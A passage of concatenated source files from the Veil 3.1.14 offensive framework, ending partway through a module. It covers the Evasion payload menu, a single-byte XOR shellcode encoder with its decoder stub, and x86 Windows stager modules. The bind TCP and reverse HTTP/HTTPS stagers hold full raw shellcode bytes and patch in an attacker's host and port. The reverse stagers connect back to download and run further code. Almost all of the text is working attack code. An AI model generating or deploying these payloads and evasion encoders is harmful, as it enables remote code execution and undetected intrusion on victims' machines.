user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_payloads)): # minus 1 because menu starts counting at 1 not 0 user_selection = int(user_selection) - 1 return payloads[user_selection][1] elif payload_by_path: return payload_by_path[0][1] else: return False def tool_main_menu(self): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module evasion_main_command = "" show_evasion_menu = True while True: # set out tab completion for the appropriate modules on each run # as other modules sometimes reset this comp = completer.MainMenuCompleter(self.evasion_main_menu_commands, self.active_payloads) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) if show_evasion_menu: evasion_helpers.title_screen() print("Veil-Evasion Menu") print("\n\t" + helpers.color(len(self.active_payloads)) + " payloads loaded\n") print("Available Commands:\n") for command in sorted(self.evasion_main_menu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.evasion_main_menu_commands[command]) print() show_evasion_menu = False evasion_main_command = input('Veil/Evasion>: ').strip().lower() if evasion_main_command.startswith("back") or evasion_main_command.startswith("main") or evasion_main_command.startswith("menu"): break elif evasion_main_command.startswith("checkvt"): self.check_vt() elif evasion_main_command.startswith("clean"): self.clean_artifacts() elif evasion_main_command.startswith("exit") or evasion_main_command.startswith("quit"): sys.exit(0) elif evasion_main_command.startswith('info'): if len(evasion_main_command.split()) == 2: payload_selected = evasion_main_command.split()[1] selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) print() else: self.print_options_screen(selected_payload_module) else: print() print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) print() elif evasion_main_command.startswith('list'): evasion_helpers.title_screen() self.list_loaded_payloads() elif evasion_main_command.startswith('use'): if len(evasion_main_command.split()) == 2: payload_selected = evasion_main_command.split()[1].lower() selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: use 2 OR use lua/shellcode_inject/flat.py", warning=True)) print() else: self.use_payload(selected_payload_module) show_evasion_menu = True else: print() print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: use 2 OR use lua/shellcode_inject/flat.py", warning=True)) print() return def use_payload(self, selected_payload): # Tab completion, thanks Will :) comp = completer.PayloadCompleter(self.payload_option_commands, selected_payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) self.display_payload_options(selected_payload) payload_options_command = "" evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) while True: payload_options_command = input("[" + selected_payload.path + ">>]: ").strip().lower() if payload_options_command.startswith("back") or payload_options_command.startswith("main") or payload_options_command.startswith("menu"): break elif payload_options_command.startswith("gen") or payload_options_command.startswith("run"): # Checking for Ruby specific payloads because of dumbass sleep check if selected_payload.language == 'ruby' and selected_payload.required_options["SLEEP"][0] != "X" and selected_payload.required_options["USERNAME"][0] == "X" and selected_payload.required_options["DOMAIN"][0] == "X" and selected_payload.required_options["HOSTNAME"][0] == "X": print(helpers.color("[*] If using SLEEP check with Ruby, you must also provide an additional check (like HOSTNAME)!", warning=True)) else: selected_payload.generate() if outfile.compiler(selected_payload): break elif payload_options_command.startswith("exit") or payload_options_command.startswith("quit"): sys.exit(0) elif payload_options_command.startswith("help") or payload_options_command.startswith("option"): self.print_options_screen(selected_payload) evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) elif payload_options_command.startswith("set"): if len(payload_options_command.split()) == 3: set_command, key, value = payload_options_command.split() # Make sure it is uppercase key = key.upper() if key in selected_payload.required_options: # Validate LHOST value if key == "LHOST": if helpers.validate_ip(value): selected_payload.required_options[key][0] = value else: print() print(helpers.color(" [!] ERROR: You did not provide a valid IP!", warning=True)) print() # Validate LPORT elif key == "LPORT": if helpers.validate_port(value): selected_payload.required_options[key][0] = value else: print() print(helpers.color(" [!] ERROR: You did not provide a valid port number!", warning=True)) print() else: # Set other options selected_payload.required_options[key][0] = value else: print() print(helpers.color(" [!] ERROR: You did not provide a valid option!", warning=True)) print(helpers.color(" [*] Ex: set LHOST 8.8.8.8", warning=True)) print() else: print() print(helpers.color(" [!] ERROR: You did not provide a valid amount of arguments!", warning=True)) print(helpers.color(" [*] Ex: set DOMAIN christest.com", warning=True)) print() return Veil-3.1.14/tools/ordnance/000077500000000000000000000000001365017756100154435ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/__init__.py000066400000000000000000000000001365017756100175420ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/encoders/000077500000000000000000000000001365017756100172455ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/encoders/__init__.py000066400000000000000000000000001365017756100213440ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/encoders/xor.py000066400000000000000000000205531365017756100204340ustar00rootroot00000000000000#!/usr/bin/env python """ This xor encoder was developed completely by Justin Warner (@sixdub) Thanks a lot for letting us add this in! http://stackoverflow.com/questions/4020539/process-escape-sequences-in-a-string-in-python """ import codecs import re import sys from lib.common import helpers class EncoderModule: def __init__(self, cli_arguments): self.name = "Single byte Xor Encoder" self.cli_name = "xor" self.description = "Single byte xor shellcode encoder" self.author = "Justin Warner (@sixdub)" self.xor_key = 0x00 self.shellcode = b"" self.terminator = b'\x00' self.encoded_shellcode = "" self.encoded_payload_length = 0 self.encoder_bad_chars = ["eb", "18", "5e", "8d", "3e", "31", "c0", "db", "8a", "1c", "06", "80", "f3", "88", "1f", "47", "40", "ef", "e8", "e3", "ff"] if cli_arguments is not None: if cli_arguments.bad_chars is not None: self.bad_chars = cli_arguments.bad_chars else: self.bad_chars = None self.misc_comments = """ #This is the decoder stub #<_start>: # eb 18 jmp 40101a #: #5e pop %esi #8d 3e lea (%esi),%edi #31 c0 xor %eax,%eax #31 db xor %ebx,%ebx #: #8a 1c 06 mov (%esi,%eax,1),%bl #80 fb TERM cmp TERM,%bl #74 0e je #80 f3 KEY xor KEY,%bl #88 1f mov %bl,(%edi) #47 inc %edi #40 inc %eax #eb ef jmp #: #e8 e3 ff ff ff call """ def cli_encode(self, incoming_pld): self.encode_routine(incoming_pld) return def decode_escapes(self, s): ESCAPE_SEQUENCE_RE = re.compile(r''' ( \\U........ # 8-digit hex escapes | \\u.... # 4-digit hex escapes | \\x.. # 2-digit hex escapes | \\[0-7]{1,3} # Octal escapes | \\N\{[^}]+\} # Unicode characters by name | \\[\\'"abfnrtv] # Single-character escapes )''', re.UNICODE | re.VERBOSE) def decode_match(match): return codecs.decode(match.group(0), 'unicode-escape') return ESCAPE_SEQUENCE_RE.sub(decode_match, s) def encode(self, incoming_pld): self.encode_routine(incoming_pld) return def encode_routine(self, incoming_payload): self.set_bad_characters(incoming_payload) self.set_shellcode(incoming_payload) encode = bytearray(b"") # This is where the encoding happens # Test all possible keys and see if it creates a bad char. If not, we have a winner! for test_key in range(1, 255): if not self.have_bad_chars(self.xor(self.shellcode, test_key), self.bad_chars): self.xor_key = test_key break else: pass # Ensure a key was found... if not, error out if self.xor_key == 0x00: print(" [!] ERROR: No key found... Stop being so picky and change your bad chars!") exit else: # XOR all the things # Justin, your code comments are awesome for x in self.shellcode: encode.append(ord(x) ^ self.xor_key) skipped_term = 0 # Iterate over code to find a non-used terminating char # that is not a badchar for i in range(1, 255): if i in encode or i in self.bad_chars: skipped_term += 1 else: self.terminator = i break # Build final payload with stub encode.append(self.terminator) decodestub = b"\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb" decodestub += (self.terminator).to_bytes(1, byteorder='big') decodestub += b"\x74\x0e\x80\xf3" decodestub += (self.xor_key).to_bytes(1, byteorder='big') decodestub += b"\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff" complete = decodestub + encode complete2 = codecs.encode(complete, 'hex') complete2 = "\\x" + '\\x'.join(codecs.decode(complete2[i:i + 2], 'utf-8') for i in range(0, len(complete2), 2)) self.encoded_payload_length = len(complete) # At this point, the shellcode is a byte array... now we convert to ASCII self.encoded_shellcode = self.shellcode_to_ascii(complete) incoming_payload.customized_shellcode = self.encoded_shellcode return def have_bad_chars(self, incoming, chars): for b in chars: if b in incoming: return True return False def set_shellcode(self, shellcode): self.shellcode = self.decode_escapes(shellcode.customized_shellcode) return def set_bad_characters(self, payload_obj): bad_characters = payload_obj.required_options["BadChars"][0] if bad_characters is not None: final_bad_chars = [] bad_characters = bad_characters.split('\\x') if '' in bad_characters: bad_characters.remove('') # Do some validation on the received characters for item in bad_characters: if item in self.encoder_bad_chars: print(helpers.color(" [!] ERROR: Encoder - Bad character specified is used for the decoder stub.", warning=True)) print(helpers.color(" [!] ERROR: Encoder - Please use different bad characters or another encoder!", warning=True)) sys.exit() else: if len(item) == 2: # Thanks rohan (@cptjesus) for providing this regex code, and making me too lazy # to do it myself rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE) if rohan_re_code.match(item): final_bad_chars.append(item) else: print() print(helpers.color(" [!] ERROR: Bad Character - #1: Invalid bad character detected.", warning=True)) print(helpers.color(" [!] ERROR: Bad Character - Please provide bad characters in \\x00\\x02... format.", warning=True)) print() return else: print() print(helpers.color(" [!] ERROR: Bad Character - #2: Invalid bad character detected.", warning=True)) print(helpers.color(" [!] ERROR: Bad Character - Please provide bad characters in \\x00\\x01... format.", warning=True)) print() return self.bad_chars = [int("0x" + x, 16) for x in final_bad_chars] return def shellcode_to_ascii(self, shell_code): output = "" for b in shell_code: output += "\\x%02x" % b return output # Takes a blob as input with a single byte key and returns blob output def xor(self, input_sc, key): output = bytearray(b"") for b in input_sc: output.append(ord(b) ^ key) return output def all_the_stats(self, parsed_cli_object): print("Payload Type: " + parsed_cli_object.payload) if parsed_cli_object.ip is None: print("IP Address: n/a") else: print("IP Address: " + parsed_cli_object.ip) print("Port: " + str(parsed_cli_object.port)) print("Encoder Name: " + self.name) string_bad_chars = "" for bchar in self.bad_chars: string_bad_chars += str(hex(bchar)) + " " print("Bad Character(s): " + string_bad_chars) print("Shellcode length: " + str(self.encoded_payload_length)) print("Xor Key: " + str(hex(self.xor_key)) + "\n") return Veil-3.1.14/tools/ordnance/ordnance_common/000077500000000000000000000000001365017756100206045ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/ordnance_common/__init__.py000066400000000000000000000000001365017756100227030ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/ordnance_common/ordnance_helpers.py000066400000000000000000000052221365017756100244720ustar00rootroot00000000000000""" This file contains random helper functions for Veil-Ordnance """ import os import random import re import socket import string import struct import sys from lib.common import helpers # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-9: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() def check_lhost(lhost_value): if validate_ip(lhost_value): return True else: try: lhost_value = socket.gethostbyname(lhost_value) return True except socket.gaierror: return False def check_lport(lport_value): try: if int(lport_value): if 0 < int(lport_value) < 65535: return True else: return False except ValueError: return False def checksum_eight(string_checked): current_sum = 0 num_Bs = len(string_checked) letter_values = struct.unpack("B" * num_Bs, string_checked.encode('UTF-8')) for value in letter_values: current_sum += value return current_sum % 0x100 def gen_uri(): goal_sum = 92 all_characters = list(string.digits + string.ascii_letters) while True: uri = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(3)) for character in all_characters: full_uri = uri + character string_sum = checksum_eight(full_uri) if string_sum == goal_sum: return full_uri def loop_req_options(payload_object): blank_options = False for required_option_name in payload_object.required_options.keys(): if payload_object.required_options[required_option_name][0] == "": blank_options = True return blank_options def title_screen(): """ Print the framework title, with version. """ if settings.TERMINAL_CLEAR != "false": os.system('clear') print('=' * 79) print(' ' * 35 + helpers.color('Veil-Ordnance', status=False, bold=True)) print('=' * 79) print(' [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework') print('=' * 79 + '\n') return def validate_ip(val_ip): # This came from (Mult-line link for pep8 compliance) # http://python-iptools.googlecode.com/svn-history/r4 # /trunk/iptools/__init__.py ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$') if ip_re.match(val_ip): quads = (int(q) for q in val_ip.split('.')) for q in quads: if q > 255: return False return True return False Veil-3.1.14/tools/ordnance/ordnance_common/payload_options.py000066400000000000000000000003501365017756100243600ustar00rootroot00000000000000""" This is the object used to hold payload options for Ordnance to leverage """ class Payload_Details: def __init__(self): self.payload = "" self.lhost = "" self.lport = "" self.bad_chars = "" Veil-3.1.14/tools/ordnance/payloads/000077500000000000000000000000001365017756100172575ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/payloads/__init__.py000066400000000000000000000000001365017756100213560ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/payloads/x86/000077500000000000000000000000001365017756100177045ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/payloads/x86/__init__.py000066400000000000000000000000001365017756100220030ustar00rootroot00000000000000Veil-3.1.14/tools/ordnance/payloads/x86/bind_tcp.py000066400000000000000000000117341365017756100220460ustar00rootroot00000000000000""" Bind TCP Payload Completely ported from Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/bind_tcp.rb """ import codecs from lib.common import helpers class ShellcodeModule: def __init__(self, cli_arguments): self.name = "Bind TCP Stager (Stage 1)" self.description = "Binds to a user provided port and listens for an incoming connection" self.cli_name = "bind_tcp" self.platform = "Windows" self.arch = "x86" self.port_offset = 197 self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + b"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + b"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + b"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + b"\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + b"\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + b"\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + b"\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" + b"\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + b"\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3" + b"\x29\xC6\x85\xF6\x75\xEC\xC3") self.required_options = { "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], "BadChars": ["\\x00", "Optional: Bad characters to avoid"], "RHOST": ["", "RHOST value"] } def cli_gen_shellcode(self): '''Invokes payload generating function since nothing special is needed for cli specifically''' self.payload_gen() return def gen_shellcode(self): '''Invoked by main menu, generates code''' self.payload_gen() return def payload_gen(self): port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) if len(port_shellcode_stage.lstrip('x')) == 3: # detect if odd number, is so, need to add a '0' to the front port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[2:4] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 4: port_1half = port_shellcode_stage[1:3] port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[3:5] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 2: port_1half = port_shellcode_stage[1:3].lstrip('x') port_1half = '\\x' + port_1half port_2half = '00' port_2half = '\\x' + port_2half port_shellcode = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 1: port_1half = port_shellcode_stage.lstrip('x') port_1half = '\\x0' + port_1half port_2half = '\\x00' port_shellcode = port_2half + port_1half stager_shellcode = codecs.encode(self.stager[0:self.port_offset], 'hex') stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) stager_shellcode += port_shellcode part_2 = codecs.encode(self.stager[self.port_offset + 2:], 'hex') part_2 = "\\x" + '\\x'.join(codecs.decode(part_2[i:i + 2], 'utf-8') for i in range(0, len(part_2), 2)) stager_shellcode += part_2 self.customized_shellcode = stager_shellcode return def print_shellcode(self): print(self.customized_shellcode) return def payload_stats(self): print(" [*] Payload Name: " + helpers.color(self.name)) print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return Veil-3.1.14/tools/ordnance/payloads/x86/rev_http.py000066400000000000000000000153541365017756100221210ustar00rootroot00000000000000""" rev_http payload Completely ported from Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_http.rb """ import binascii import codecs from lib.common import helpers from tools.ordnance.ordnance_common import ordnance_helpers class ShellcodeModule: def __init__(self, cli_arguments): self.name = "Reverse HTTP Stager (Stage 1)" self.description = "Connects back to a handler to download and run\ fun files over HTTP :)" self.cli_name = "rev_http" self.platform = "Windows" self.arch = "x86" self.lport_offset = 180 # This is actually going to be little endian self.uri_offset = 252 self.exit_func = '\xf0\xb5\xa2\x56' self.customized_shellcode = "" # The \x5c and \x11 are overwritten by the lport value self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + b"\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + b"\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + b"\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x3A\x50\x68\x57\x89\x9F\xC6" + b"\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x29\x53\x50\x68" + b"\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x53\x53\x53\x53\x56\x68" + b"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75\xED\x68\xF0\xB5" + b"\xA2\x56\xFF\xD5\xEB\x42\xE8\xD2\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + b"\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68" + b"\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00" + b"\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07" + b"\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7D\xFF\xFF\xFF") self.required_options = { "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): '''Invokes payload generating function since nothing special is needed for cli specifically''' self.payload_gen() return def gen_shellcode(self): '''Invoked by main menu, generates code''' self.payload_gen() return def payload_gen(self): # Take the passed in attributes and gen shellcode ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] for two_bytes in ip_shellcode_stage: ip_shellcode += '\\x' + two_bytes.decode('UTF-8') # convert port to shellcode port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) if len(port_shellcode_stage.lstrip('x')) == 3: # detect if odd number, is so, need to add a '0' to the front port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[2:4] port_2half = '\\x' + port_2half port_little_endian = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 4: port_1half = port_shellcode_stage[1:3] port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[3:5] port_2half = '\\x' + port_2half port_little_endian = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 2: port_1half = port_shellcode_stage[1:3].lstrip('x') port_1half = '\\x' + port_1half port_2half = '00' port_2half = '\\x' + port_2half port_little_endian = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 1: port_1half = port_shellcode_stage.lstrip('x') port_1half = '\\x0' + port_1half port_2half = '\\x00' port_little_endian = port_1half + port_2half # Get the URI that will be used to check in incoming_uri = ordnance_helpers.gen_uri() # Convert the URI for use within shellcode uri_shellcode = "" hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] for two_bites in hexed_uri: uri_shellcode += '\\x' + two_bites.decode('UTF-8') final_http_shellcode = codecs.encode(self.stager[0:self.lport_offset], 'hex') final_p1 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode), 2)) final_p1 += port_little_endian # Add 91 bytes to get to URI offset final_http_shellcode2 = codecs.encode(self.stager[self.lport_offset + 2:self.uri_offset], 'hex') final_p2 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode2), 2)) sc = (b'\\x00').decode('utf-8') final_p2 += uri_shellcode + sc final_http_shellcode3 = codecs.encode(self.stager[self.uri_offset + 5:], 'hex') final_p3 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode3), 2)) final_p3 += ip_shellcode final_p3 += "\\x00" self.customized_shellcode = final_p1 + final_p2 + final_p3 return def print_shellcode(self): print(self.customized_shellcode) return def payload_stats(self): print(" [*] Payload Name: " + helpers.color(self.name)) print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return Veil-3.1.14/tools/ordnance/payloads/x86/rev_https.py000066400000000000000000000155371365017756100223070ustar00rootroot00000000000000""" rev_https payload Completely ported from Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_https.rb """ import binascii import codecs from lib.common import helpers from tools.ordnance.ordnance_common import ordnance_helpers class ShellcodeModule: def __init__(self, cli_arguments): self.name = "Reverse HTTPS Stager (Stage 1)" self.description = "Connects back to a handler to download and run\ fun files over HTTPS :)" self.cli_name = "rev_https" self.platform = "Windows" self.arch = "x86" self.lport_offset = 180 # This is actually going to be little endian self.uri_offset = 272 self.exit_func = '\xf0\xb5\xa2\x56' self.customized_shellcode = "" # The \x5c and \x11 are overwritten by the lport value self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + b"\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + b"\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + b"\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4E\x50\x68\x57\x89\x9F\xC6" + b"\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3D\x53\x50\x68" + b"\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x68\x80\x33\x00\x00\x89" + b"\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" + b"\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75" + b"\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBE\xFF\xFF\xFF\x2F" + b"\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" + b"\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" + b"\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" + b"\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x69\xFF\xFF" + b"\xFF") self.required_options = { "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): '''Invokes payload generating function since nothing special is needed for cli specifically''' self.payload_gen() return def gen_shellcode(self): '''Invoked by main menu, generates code''' self.payload_gen() return def payload_gen(self): # Take the passed in attributes and gen shellcode ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] for two_bytes in ip_shellcode_stage: ip_shellcode += '\\x' + two_bytes.decode('UTF-8') # convert port to shellcode port_shellcode_stage = str(hex(int(self.required_options["LPORT"][0])).lstrip('0')) if len(port_shellcode_stage.lstrip('x')) == 3: # detect if odd number, is so, need to add a '0' to the front port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[2:4] port_2half = '\\x' + port_2half port_little_endian = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 4: port_1half = port_shellcode_stage[1:3] port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[3:5] port_2half = '\\x' + port_2half port_little_endian = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 2: port_1half = port_shellcode_stage[1:3].lstrip('x') port_1half = '\\x' + port_1half port_2half = '00' port_2half = '\\x' + port_2half port_little_endian = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 1: port_1half = port_shellcode_stage.lstrip('x') port_1half = '\\x0' + port_1half port_2half = '\\x00' port_little_endian = port_1half + port_2half # Get the URI that will be used to check in incoming_uri = ordnance_helpers.gen_uri() # Convert the URI for use within shellcode uri_shellcode = "" hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] for two_bites in hexed_uri: uri_shellcode += 